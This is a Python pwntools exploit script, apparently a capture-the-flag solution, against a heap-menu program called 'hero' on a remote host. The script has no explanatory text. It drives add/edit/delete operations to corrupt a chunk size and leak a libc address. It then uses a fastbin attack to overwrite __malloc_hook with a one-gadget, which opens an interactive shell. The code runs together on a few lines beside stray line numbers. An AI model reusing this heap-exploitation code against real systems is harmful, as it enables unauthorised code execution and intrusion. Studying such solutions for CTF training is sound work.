1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import* elf = ELF('hero')
libc = ELF('libc_64.so')
p = remote('172.31.1.105',50005) context.log_level = 'debug'
def add(name, power): p.sendlineafter(b'choice:', b'1') p.sendafter(b'name:', name) p.sendafter(b'power:', power) def show(index): p.sendlineafter(b'choice:', b'2') p.sendlineafter(b'show?', str(index).encode()) def edit(index, name, power): p.sendlineafter(b'choice:', b'3') p.sendlineafter(b'edit?', str(index).encode()) p.sendafter(b'name:', name) p.sendafter(b'power:', power) def delete(index): p.sendlineafter(b'choice:', b'4') p.sendlineafter(b'remove?', str(index).encode())
add(b'a', b'a') add(b'a', b'a') add(b'a', b'a') delete(0) payload = b'a' * 0x60 + p64(0x170) edit(1, payload, b'a') show(1) leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook'] malloc_hook = libcbase + libc.sym['__malloc_hook'] libc_reallo = libcbase + 0x846c0 onegadget = libcbase + 0xf1117
add(b'a', b'a') edit(1 ,b'a', b'a') delete(1) delete(0) add(p64(malloc_hook - 0x23), b'a') add(b'a', b'a') add(b'a', b'a') payload = b'\x00' * 11 + p64(onegadget) + p64(libc_reallo + 6) add(payload ,b'a')
p.sendlineafter(b'choice:', b'1') print(hex(libcbase))
p.interactive()
|